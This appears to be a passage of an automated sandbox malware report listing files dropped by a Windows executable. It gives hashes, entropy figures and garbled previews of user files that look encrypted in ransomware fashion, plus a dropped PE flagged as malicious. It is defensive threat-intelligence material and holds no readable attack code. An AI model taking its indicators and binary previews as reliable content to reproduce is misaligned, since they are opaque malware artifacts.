Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.821579022540727
Encrypted:	false
SSDEEP:	24:tWdod2XreRtmA0hEXttEc2SaYet5oJVDK+R/o/KJlrzST0+3zbD:Idoc6ncOtCf6JVT/o/GrzSTt3nD
MD5:	BCB06B8B76D023C9E21B97DE5351FDF9
SHA1:	0858AC11364C1692368A95F74ADC977CA9816057
SHA-256:	E0ABAFCABA4C775F3B122CD4CFF543DD21B71997DEA2EF52C97996AF4693B096
SHA-512:	6DB5F1BE5E39EDAEFB0EC60320DFFB2D4DE39D67D725B0883AA8870E2D0D899115B152875E5D8CF368973955192ADE124D092B060894664925352BFC235D5CF5
Malicious:	false
Preview:	..[W.u_....S}K.t...x.J....08./..TIG....y.k....XQrw;.{s.7.8.....G.x....!.......K.Z\|{..<y..Ff..o3.!5E@N.I..m.W."{.P.`^s.3.Dq..tY.[Hz.M.fH.........+.> W. ....D.....M...)..W...W`..q-.L..r.....Ao.T.P...\|.E".oW&.'.[.>Y..[.>...+C.P...WVp.'5.........d...._K..N.u!.x..w.L..hx.+.PW.a.,.j&....?.`'J..!X...)....I....PJ~.@j..P.B.P35...g&....\..i.F.~Z..c..p.5.8&`.WN.kF.....7.....h...r.....................m..........z.z...4.....{...Nf...gjmTm..s.O.gM~......GR/<.......3"..;...c.X..C...G.1.......`>..7.[.;}.}%9.t....S.......>...R.....z.@g...h..uDU..+..T...........'..f<......Zq1...)Xb'ku...Tn...uI.j.[.h.s.AQ....e}.;..a..f....8>Yc........a..d..Pw..T.-%..P.C....o.&..U}:.ie..v..O..o..H.g......3.../..Hu..u....>..>..\I.. .8u&..1.^.>..$.W..#....."...Y.l.:Mc.%......2..Ju..^.k..S.....+O..?......@.W.#.E&\|t.]._R...9..,=.zh.m...9K^..#.....XA6>...y.......i..-..o... $NZ..q...y.y..O.-...SX..6.W.xnV[U.J~....H...C.?.9..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698

C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	807936
Entropy (8bit):	7.764850329239433
Encrypted:	false
SSDEEP:	24576:kOKcWcrZrvXxgYBV6qBi9oE/MfNzf4NSNoC/T:zrvXyYBMqBTEEfwS2
MD5:	4748D9904E0EAEFDD79C1DC4C5142BE1
SHA1:	7F05EE2976314962E6AE088BE53D0B78F8D71248
SHA-256:	72F533453A36B4608BB4CCD6A8D534FCB05D7D51A55420B546DEFAE752774221
SHA-512:	C175EE64EC1AE67D27939C0A256D9A4102FD0544880F5886E2DBD649C6E618B9587357631E4FDFA47E3F671C7AD7CC2C850E7B044B0BCF1489EA9B21CD0CE598
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 97%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........=.g.n.g.n.g.n.5Kn.g.n.5]n.g.n..n.g.n.g.nBg.n.5Zn.g.n.5Jn.g.n.5On.g.nRich.g.n................PE..L..._s.a.....................................p....@.......................... ..............................................4P..<....@..............................................................0~..@............................................text....P.......R.................. ..`.data...`....p...2...V..............@....rsrc........@......................@..@ ._s.u...P.......B.................. ...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\.curlrc

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.202305376264842
Encrypted:	false
SSDEEP:	6:KWFrhABA4FTc/oRwPjXNAeJ0aYhQ3MAEy+OsVolWbz6Wcii96Z:NF1ABI/oRyvCaskm36Wcii9a
MD5:	163E67167019EB52EB573BA3A50D6A35
SHA1:	9171706A97467D4908B4CF6B0972C04605339BF2
SHA-256:	E7FED902EA5B09F78C5F04913AB30CFE0FB44B76FE5197DEE93BF504CA97F8A6
SHA-512:	33CFAA8D12A0CAB1A44922248519A7E2E87F7539ACAA9DC6DFE617A4BCCC04F02CA2CB0D326A9EE2B759D549BC35F84C8ACE528B9DD0EB48481AC10C12755DE7
Malicious:	false
Preview:	insec..r=.\|.?.....\|&p...'.;.?>.;k..j..Zw].hj....f..Xc.J...L..;(..eVr.S.9..i.X.../k.......b.f....Te]!vT....w$8......s.q!...#.B....h..@...y......-..tsB4...E...}.g5N...0.>..9*jL..n.z~tP]].96..W..8'..9.c....\|Pd.%.5..N.~..{.f... .O.....3.....t,X8\|y3.yG..U.$.\>Fi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.293600271456231
Encrypted:	false
SSDEEP:	6:W6k0M/qNmJ//kAHLFs2yraCszZxsg9OiwGZseAio3g93HbOsVolWbz6Wcii96Z:W3/E6/kAHLWraCsTsqOi9sxi+m3H936Q
MD5:	4B1CEB649455BDD0B371B2C2E00EA4C5
SHA1:	68B800D30BD19CEFC80E88BB6FD61159DCDBED5B
SHA-256:	ABD8720D7F50A4C104D2515F98A50CCC40FC40D9D08203C7381A63B99BF91310
SHA-512:	69CF111EE0D6D818AD556EBD88640F60AF35BD5BC2F50817851F076620B7A8722016B5DD0DA26BB0EE347B5958F941BD30450E9CA43C697B0F75CB6FE9047955
Malicious:	false
Preview:	%PDFTXb...v.e..^..b..t...fyc.HI+LZA.....X..I.c..k.D.d3....."[..{.QH.'.s6..h.B..Z`......o..nk....H..r.....c9v..3).6R@\..z+&x.]..o.D...J...ls.....i5....9...bh..Q..IJ....pLN.4...O.N.).cX..........5l,....N.2U..A.15..}..&....z:.jYH.M...b..m.....[M....W.o..}1[.B%..\....A....s.g..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.401048870837109
Encrypted:	false
SSDEEP:	12:5PZHKaK1UU1QjMMj8iuxPZRHz36Wcii9a:5Plu1QF8iuVvT3zbD
MD5:	150148EB700226BFCB7A065C84D54A30
SHA1:	EC60DA77EF1E1D62AF1D47723F49AD86B8737F69
SHA-256:	3504700160C95FC635B0595E5FB737BF8D23BBF6197F06B56E1B4405FFE6FFCA
SHA-512:	885C60DD71F76A953D6EDB201F531F92ED9838616D86236EC88EC73ED590955066A09CBADE3A435AF20FD04D63CF71D85CDAA2BF6A5A9A32B7C81FDA674C9013
Malicious:	false
Preview:	%PDFT.eD ...v.0...Sb..._'.-[rA.<B2o...C.2..{.@.o...`/G...e........Q.PV......C.._.!,.*. bB3.B...B....?.l.si....["..FkQ..D.....V.n.G.gNhAm:~"..K...]/.R]n..........W.F..Xw.....C..d.xE.(..nX+>.:.z........bN.......c.^.....2.X,....].Dz......m..h}W#o6V......$&.M....k_..m...i.R..tv)../X....^.nr".....>..@.Zi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.851024995317116
Encrypted:	false
SSDEEP:	24:iKcI3cDmm1BaI0g/0dg8s9nU3JfMWvEuaJoKzFUmsdIpcYCpxPaHMIjPhT3zbD:CHpfp/Ag8st4pIJTZEKpFOxSJzJ3nD
MD5:	767D5EB18E8CF1A3EB68CCB17A35F84F
SHA1:	54659C06F0F88F3C9F35E7FEEE4842A927C54930
SHA-256:	EA62E75A2FFDF4E54442BDCFF53CEFE55D46ED7E4C361D490A0C32EF08F31B1B
SHA-512:	EEC24F8ECF82736FCA734382E6ED6713BFAF6D644A1F83524CFB85871AE15E2F1D3BCCFE8F025E57DDC253712D8B015FE7A9AAF74C49F0C6D85AB46BBF91E0FE
Malicious:	false
Preview:	<?xml:.B.X5..]o........;....._./<1.'.....AC..]..W..H........V'o.m./...t...N...#...L.g.P. ..f..{....E.@...T._..^.......]..Z_n .......mG...q...c..KTe..@..V.me{E.Q`7.@A...d.....o...\_m..9.,Z&...(...Q.>Ki.....I`o/.S2..}%S...B..3..j..)......k.:....a.......8..k...d..0..........QP.P?.\.~!. ?p.....G"T.).V..iw.g.?".. .a..}!M...aH.).b.c.c,.wH.L:.d..Z...t/..Uz)./\..SK....[D9...g_+..Z..F+X.j.}............y.+].9fR.Hb..!....-.."...(...A4.J7i.,.tq6.`....>.w.+.....QC.F!.N.;A.`.....)..w.....qWN....3Y..W...`I....Bs.H....:M~.bq....:k.g.;.u......f...P.C........m....K{...ql...t...D.....Q5.Q..8#.0...d..w.}he..^.....@../+.e.9....Z(5.H.?........0O..n.gg.v&c-.Y.m.^M.qJ..nqJ2..s._..FF.T....A.I..c....._.F.>.\.O>....=.?nm.g..\|N.i..(..&x.....L.,[(F...c3k.I......d.9VW8..a....2.N.:*M.$..u}]O.Y..Woz....K...sIs....ac.D..7.\|.m....~...>4...L.T......tH..'.dY4.Y..wV.0.MA..c6E/..].p.....7P..O.M\ ..C.C@.i.4......../....Q...A7.Q.v.T.TX..F...u..hK.l.K..s........n...-0H...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	7.922081258629958
Encrypted:	false
SSDEEP:	48:8hHSIjlA3P1E8afETqatHmppXa5ROZZwqfJCVX3q2NVemhpTpwOtvLabnN9XWdiT:3IjIPAYHmpQRgZwqBM3q2N0mhFGWTabn
MD5:	9E7D179D04D4976AC46019020698702E
SHA1:	33AC00CFD98037D7C56BCEC43C480996C64DE6BE
SHA-256:	2010FE94C8DD7F199C3552C92B618110697BD8F7E99489AC7F14FDF55FD16538
SHA-512:	5AB48075EE15948C73BAFA0158F5EBF419D46E2FC1E2A1D7FC9EE65680418A9BE43ED67B840FB66AA578380684AB23693AAC90AC3C65421EAE8A2D3BCB82E09C
Malicious:	false
Preview:	<?xmlg......z8.........K.P........}.C.K..}.%..A3.y^af...tqQ.....0....Z;.....V..5\|..M,.U&r7...../L.-......+.Y..[.g5zs.66..Ii......8..5..d._..Z".d..>m..4^X...#t.t90...d...4..8..2...[.2$}....Q.e.k .k.k.^.w.[!::.>.4....;+O<G5..9S)e8........+.{.{_.4..............."3.c.......LrG..w._3..\|.._.z..$..9.ZY......s....x.%..x].UM..=....i....M.oH..K9B..}.'...w...5.j.YK.c..Z..[!A...G.+..`._&d.3'"..h....K2..C.R...Fr....+..tvv..B.'.UO:..0........Z:s..l.7y.G......X...Z-...s..Z.dt.r.S.d..-l6P&...<..".^..(.=^tD.x.z....+...-....`DY..........W........lA....#......}1vk..8...i..:.......@..n..O.G...A.}g......`6.......?...J..JR9....d...@).V.Z.f.....N.J)s..p.r.BdG..@}cs.R{...d.. .o.HHJ.?(.H:.jD.0...9..?\...G..U......n".D.k.{.!.@]...<.p.a......J.1]m.S..-7.`....V"....W._....X6gO...CG{.r..@0o....k.<V.2aq....GVT.v..3.U..NO....[}.............D.$.S^h.F........N:.....=..v.e?x....F;.......1v...9.g.Z.;...DMiX...}..\...P..T.P.....)...y..~....e..2\h.4_H.O<.....q.:._:{....).

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.920377924362602
Encrypted:	false
SSDEEP:	48:Zi9ibUpMZ/TSmuVfmEqyQCeuHp/60iJ5yFFoes/btga/u2A0Y3nD:4JmbZEfmE9deAVWNbtv/7y
MD5:	E6DA7FB226A788E8BC2D0F7E360C81F7
SHA1:	37B30E94EEA05F5DF8B43C582F0D91E432BF138B
SHA-256:	53FF38E9EE7E059A5356611F2A832575715F9EDE563CAFB6B0899786E568B9B2
SHA-512:	30C593426C36F4873D00AD55FA156FFD79113C0C039521E29C8A4F3FBFC995AEE6106CD5F01C463CA274DD4BACBE2785F4BA7AB7650BD9D603D8A6A462C80DDA
Malicious:	false
Preview:	<?xmlf....pnr..u\$e0_.0...}..,H.h.6.!.;.Z<..L..r":v%......=...~.&V...5.x..<.\...a>.....@n.Z.s\.Z).P......K.....b.]u.B..h.....]GcM...e.W.2..$.SvgQ...l.0c....%.......I....b.n.1......we-.7H1..S.0a.FjL..E.)..s.wv<}.]......1aR0.......P^..Z.p3..Su.).C... C......q.....q..4oo....YqM.?!..GZ.k)J.rM0/Z......+.".e..r..;..X.....D.......#:.t..Ec.>X..+...^..:.m9..k.\|.W..(...H..:U.....~.;L....[.? .#.B~..b.^qp....<]H....9...l....../O....Y.M/.5qA+.o....d.e.E.....H..%GE\......m..^.u.'.%..v..+.bY)...$.............R'...).5.Now.'.1.K..I..E..q.P.......s...#3...Dm ./..{#.@YaD...:..7._..7z....G..9.Y.%'Y.....Z=(z)...6.M.....Rb0X..>~.*. ...'.s/F........?}...{..+u=.l\|..f.S.C._..../....Y...Vx....f.1j!t<..p./s@.N)....z......{X....s..).........R..S.\..t].(.m....XsC}.#.p.qb.......>..<.A..J..".t..?.k..`.oM..)..q/....4W.Xm....... ..=l....$..&.=.C..}.....J.xfy?..Y.......].E.3`..t%T.kpC...C.Ks..Y....x..F..O.......o.Y\.F^^.G..^.:.X_Y?..kqL.\|.<V..uc.......0.g.J.Qf.d"..'.u...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.906935811020043
Encrypted:	false
SSDEEP:	48:edQ1qsr2dVPWdA+lo1zqH7xkXgfZZoIJmNSK9rdqOL0sgY3nD:AQEVudA0+A1kqoIJmNSodN0By
MD5:	ED21CBFCF418373DCDD898BA98C0AB79
SHA1:	DCC97AC305805DFBB86D5E6AE11258AC3AD0F275
SHA-256:	B61D7EFEEFEB23CFB7F09974150E84C5319E939656AF700157DC5338CCA038F0
SHA-512:	5B98F4878630093D95C4D009E33B459C7E8E0CB62D60F49A1D2DF6EF795FFE0B7E85A3FB5032786BDB378949AB8483C1407172A0C1BBFC6FD2D5FD55E2E0AAD6
Malicious:	false
Preview:	<?xml4?..<OB.v.4n..b.]do..LI5..lT..Xt..2.h..k.r.c..(.....1vJ....d.6\..7...lx=.(Ri....m..b.`.%..eZ....{..r.\|.z.../.-3q...Ra..C.1.Y.i...O.5x.^k.x..~Q..SLB...R..E.\...-...W......=........;.\.2...M.6..'8..w}..q.....h..N.(.I..U.;...o..4d..].H.v..T..[...$6.N...]9..e......CM.O...s.$..I.i.Y.5...op8.o(Oi..<...9z\|.6.9...m....r....i.X.W.%..PRh..1..._.v....p.I...Bp..G.d.......H0.k;.\|.....rq...k.O.......gU.K..........$.6...{{..P..'C.Y./.\x.A......a.=?<[......o.6V.N..4.2.WD....h.b.m`..p}.j..+e.Y4L.w..v..a..{..X.]q.3...!.....S.F.?.K .K.]...e..DD.%G...e.Z^...IW1...CF....EW.Z'\n..?.%.Q.....'OiT......F.7GFv8W.g....=...R.V.......`.+4.. n.${t...}#..k.&=3..^...j..].c./7.Q`[..c....>.hO....M....E['.\|.......Z..\H.<.R....S..%6..........P.D.\j......{.'u4.t....-.T..I.8.....[..D..\lB.~.B.q..........t....~.#1e...........[x.U..h..T...:r.Ze..R,...s%.C".\M......`....V.=...<H.O..KJc.....l.s....Lt..`<!x......X.........H..0...*...........\(zR.@..l...79....#.]....#..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.8425283768611385
Encrypted:	false
SSDEEP:	24:3HZ54zqwmI/HPZF23eNkpCnMyccLCwvu3CD++PBw+3NaJSRtcwKLzxhCTVMHp3zX:Xr4zqU/RwukpCnTccuGyviNaJSD9MHpT
MD5:	C643F6A12C49AE35990CC9CAAD482C96
SHA1:	815B1446EBA7B9E8F3F2DACEE27AF39D0490FEC3
SHA-256:	29EBAF8238CDE4460C5C3D5A8770D520719D1C190B8D2B5B387D6520C11F685C
SHA-512:	B244166D3CF6D52EC041ABE4EB31BEA90CBBB4DCA0B18A009239996F291D7ABC78D5C021C3F16932EB8C28C6BEB8F9B3358472EB1B535BC2EE17F28B0C5D6279
Malicious:	false
Preview:	<?xml..lf.M.2.}+.....H..".....AF....".^...n.......Z6u....#...+zXS}..Q.k..&....u.j...om.5B..p...F.....C..(........,{..4...h....m.........>.jY.d.RlCsd.....=.%...@...O.[.V.u......c..sy2z~.8...Y..t%..P..'\|:.B4.~...GL.\|<<.sie......I.R..hL.`.db.-..l.D.1c...;.....:=f......_^N.An.. .\|..'.C-%..o.y.YS.`...............#.9:.MH....p.M5.{^$T.......9...`...h.$...l.N..M..}X..i.u.z.......s..uU.P..}.z.....p...-{c.......m..#m.A...z.Z...../L..Fk_.;.S.>=....0.wk....ZA+U.n...........u'.m)......{..p.E].K.p......y9.......8.....b....OB..8...-T...R...e....N.n+b.(.].;..I..W..cA......{...NcA...2....c...8.Fj.7..p..r;...(.....a.\ vj..,.s......{.X0.v"#.Fu..p.\g..B........w.e......._m.........._.Y5....}...0]z.I..Z...2..x......V.s..'.....r.......M............8Q...M../.0.dS..D. ..>K....\|(.r,.6\|Vr.z6.Xu].t...E{.M.U.q..:..{e0.iC.S.10A>..L.....0.3fpO.g..j".N....!.T.g)..e....fc*IA....\|.!.(.........y....IU..4x@.H.....o..`...i..Z.}ME.+^9..3......_..x.(....O.$.vE.......w-PL.51

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.921516803547991
Encrypted:	false
SSDEEP:	48:Z1i+W+bbkS0U74W9T+//9vCWfNFIudqRJMHLcMYGFIQUO9eGYM3nD:Z1f7b8cT+X9aWfouIRZQXUO9eGN
MD5:	9E78F5F1B43557D13D9BEFC695197024
SHA1:	E2CB2D27D856371457E4685BEEB198841AA615EE
SHA-256:	A8ED4FFEE3CB3FCF10004A45CAC99D894527C9AA5317C4B2242E2546B0AEFBFA
SHA-512:	538D42D1B8ABA8E5C2E293F41AAB40534A14261BAEA222B388DDE652047A0B7CD9B1539DA193F5B7821F33C795BB33BBE78E54BDD8F0B751CADF5EC351B640D8
Malicious:	false
Preview:	<?xmlR..Y4t.'y8....@t...,.2.....e=~.t.+ ..6.......O'..0..R...F....Q@b.A.....s..Z`l<.b[.~.....0.~&..@M..RT$.!..........p...a[G.?..o#..h 6:.}:je...f.E..l...V..4.....c..ATW.,9.;....."m.4.#\m...h..^..N.....{...o...(KK{o..f.......r..y.M.=..$N.T.............vbd..J....T...B0 {........r`.-l>pP?CS.\|...""\|.~.^......0X.!..<G..bG...A.h..x.k..2...q.h..% .......K.wm"..?VK.v8$".u.$.q..s..Q...$.My..N.sr..u.0.l\.U..c.......{x?..)Q..7.K...uM.R.\.....!N.u8..$.K>B.=..eS./..Y......C.....o_;>@.O.w../.7.?...nX.=.........N.}...U+;O.............>5.i.^.........3}.?B...ap:.g.xe.0uq.OJ..e.!<A]......t...h......^..e..o.?...A.V....@......T....)J.?..Vw.....U...eu.".\|..:c.u....xh....:.}OB....Cw2...F...we..;....{x/.n..Y.E9..&.).-c[.._Kj....._B.....m.Y}........X......&?@).S...~...G.P5..!.].>..._....N....!.......7.~....!.`..y.f..0.c?...-..ZO.yI.NS..... ..B.......{Yf........^..N...,d.....c.....+4_..<..m..u.!..qW.Q....u.K....i..^...i.........iH@M.X....,./jB{..........a.4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1870
Entropy (8bit):	7.903469448177581
Encrypted:	false
SSDEEP:	48:Do+n3JyTOcMPKNxr5tkd75z5CJRd3jaiM6EZGKvfund3nD:sE5YO3KNWd7SdeiM6EXK
MD5:	E7162B121D93A8690E7FC614B70AAAA9
SHA1:	74E2F929ECF2CC584FAF61B1E6B0FE8D56DC6500
SHA-256:	8D334E72956EBDFF54A485461CE08EFB451910920C86A02BC1819B6A74FD510D
SHA-512:	55061AB72F0FC99CCBC0843298A9C4AE383CDC76CC7E45FD981B9A158DCDC13334BA9A2F31EBD857220E34896A44EF41FB232364F7D9F7F1A317ADD7FDA06548
Malicious:	false
Preview:	.....?..`......7.R..S.a.u.j.s.9sW...XQ..../.r...t....#y-.R_....7....=X.R..D...lJ.t<%<.n....L......].acL.. ..%.8.p7.....q.U....RZ9...s......,.....O....^.0[.......K...n.]...oj<...>.3......1c..j(....O.g#N..vZ...=.^..}4.."j.f..5fs3...A......oNS....[0.T..`.d.........w........L.`-........).bt.)Gx...E..P~&y^..y.'.?..i^Jb^...\|..!oz.H.T~G......l.]..I.S..C...<)_9.....Ms...t...b..QQh.W.4x..y....3PS.a.>(..r+V.b.N..b....[.'....fm..k.3...W[.dl..(...b...x..3.f..._..........wg...1w.M\|.....2.;.n.....[..X.[.Q'f[?u.....U..i.(..m{..../.?.zJ..G.k...OA.:....w......J.BRE......y.U...TZ..,.....Ky... ..i.?...\.V.....X...$..1.x....w.U.C..#TB.^.c.g.S..I..n.w.Lp.v.C.j.k.J..l;.5.l6....;t....pST4...w8..z.i.....U.Bb.....+3]....EOA...'q.lg.x\..mPN...L....<E...5..)=...)....H.a.f....)....;...@.\|Q..s..._g.j..=IA.ue..kC.\..L...ZU.i\|)...m..H.P.....<z.....k.`....jV.q..i.3.DL:...a&....O..o.(...{.t$..6.<.....[\:.Z.z._..'...F...&v6.....".>./..}.=.....n...#..........,..-

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.973150860080102
Encrypted:	false
SSDEEP:	96:lo7z1j1Pncv+bOf9Fvatzif1QMM6wAcZKXqkdyaBaUvwiAjBhyqyl/iGtzQgragj:lo7ZBPcWbOfHvq+dtJwhkdy2vw1MXLEE
MD5:	59DE8FB9B5D2158100F3517C52D4C060
SHA1:	C18301FDC44A1237A423CE24445A5683E0046503
SHA-256:	810635DA66481F664DA8D1C98B8859DD568DE61E6C1A8CF9B42D36757595BB1B
SHA-512:	E81AED2B56DF7304450115F0E748E9F9D8341FC779F50C6D9DCE82897146CA0EC7CF3BECB0E8070AD3CF6C6ACD934DF3AFDCA81718702DB28C439B9F6108807A
Malicious:	false
Preview:	.....;{&..d..f:.......&..X.%...>.[-=..Q.r>.dB.J..T..%...2z}n.aC..j..c..N.: ......IAxk.0w.K..V.w\|..(......r0X...j.m...:...sH+..x.K...$V..N.E.4Sg,9.pW..@..h...0a..<..l....O.2}K../ ..ggjIki.....Nd..I..p.#...?X..].p....l..~....~.Y.R0.....S.\...uKD-.xt)..mw.~...m4...?s...j.).p...;S..`...+.m.?F.'......\.....`]F#.......w.......6...4...nQQ.!.....CzJ.].....<....-.0.q..9$A..!k...H3.............>..7!.{.Vk.Gm..h.......[k.Q...T.84..........W}.D........#....K.9.dl...$..:.x..........'vF.Q.P....+...2c .0.].,..S..[..f.)sb.....t.oi ..a......F.~.$.%..W...j/.5$.ad.D.Gz..q..f}._.I..L....{...]..h.@...F......pH)....'.u....TK./......M.F..........v.T...-VA...0#.q..CI...m[~@#..]$0_E.'.......!...%..gLw...8]X.".V.~..b............Z7...[..+&..^.sC{.&M<...8Kf.c.z n.W.....(/..#.ec...;..b.{.._M]W...ew?...?....K.>KI.c2..>.J.S.>....T.5...J..........`@.g..C.hL....05..d....8.Z^.....z..B`...J.....'.5.?....2.....p.s.[2..C#8..!......>.<y.....L#2+zY..d.D.H.?.E=1..?.&.d

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854545397621876
Encrypted:	false
SSDEEP:	24:8D/JbEqmKYmcZB/yva/WILUFs4d4n5xf//qaZ9j6aYtiFP7bVGbF/Qa3zbD:GxbpP6pyvMWILZ46vf//hZ9jIihbwB/l
MD5:	F60F992FB28A64F29E6422CBAC5007F6
SHA1:	E4F976278A0EDFCA69075715D869945D9FDDFC27
SHA-256:	3FCAEBCB5B373442350806DF16A81B321754D5033832CDCE513E8D0B1F9FC2E3
SHA-512:	E81B4A0856F6F4BFED63A1F1E43593D571207C6A5E52C5EF0C69EC198A9B0724378A0D5BDA92F6853D3A7B7D8B6751558C97742402A06DF648B22D7A145921B4
Malicious:	false
Preview:	BJZFP!...p9.Q.Q...yDH..l.. Yu..,.[.7[E.y..1?...z.u\~r.!.{o4[\|4A>.M...^B.....:W#z...}.....w#G-y.L....].$N.....86..-o.6.pT5Fv..{.Ix...75..5.....z.n..g.# x.....n.Moe.1<9O..N...z....H.[C.#d...._. E......OG__.......EHS.Z.E....)......:...?.5....@%.K_&.....Z.`.1qP./..m.o._N~......s....S:..k...^Z=>....=(....I....l.d.Rq.$...w..1.!`..RR.....A../8..9..w9.r..g...PV_.;.......N..5E...yc....g.b^TV..}....h...Fx..[...5.pY6:k.N.....;..<'/....8N.k.\.A.Ci...!.,..y.G..w...7K...~....[.r#...n2.N.....x.:.b.')...l..u-...z..c...&...Z.E!...^.,..M.5R5&..;.....E..[....m]-.........\|R.3....~.&..i.4":.Y.^..i..]E.~..n.....e...q.=Y...\...o.?......A...=.]Y~<O3.]P.G=t..~)...).8.u.>...]..k.~Z;...z..._g.'.4.{.XT..kn9,~...D.U..y'...7.._F.........{.Yu.N.A......1....G.Hm..<j..W.M2...B1.M....`...q.Q.yt's....U.Ou>.M.}]/\.<.Fe.5qJ.dP$..3..#.R..).\|c<....(._....n<...:..33aP...g0B....I............DN.eA..c.%.<.#........CG.C.....j<..B....P.....>..>.}p.Zsw@,PG\|.&..../.......z

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.png

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.813539734752659
Encrypted:	false
SSDEEP:	24:IIceasXI2kibYBxdZSxbaz1cK/HJCVH1TF3p+P1iWqJIHsVqnxH/bIFdG3zbD:IvFB0b6vZIWNCVH1TF3+FeIMg90q3nD
MD5:	ECC76EE8E766682B264266927C918576
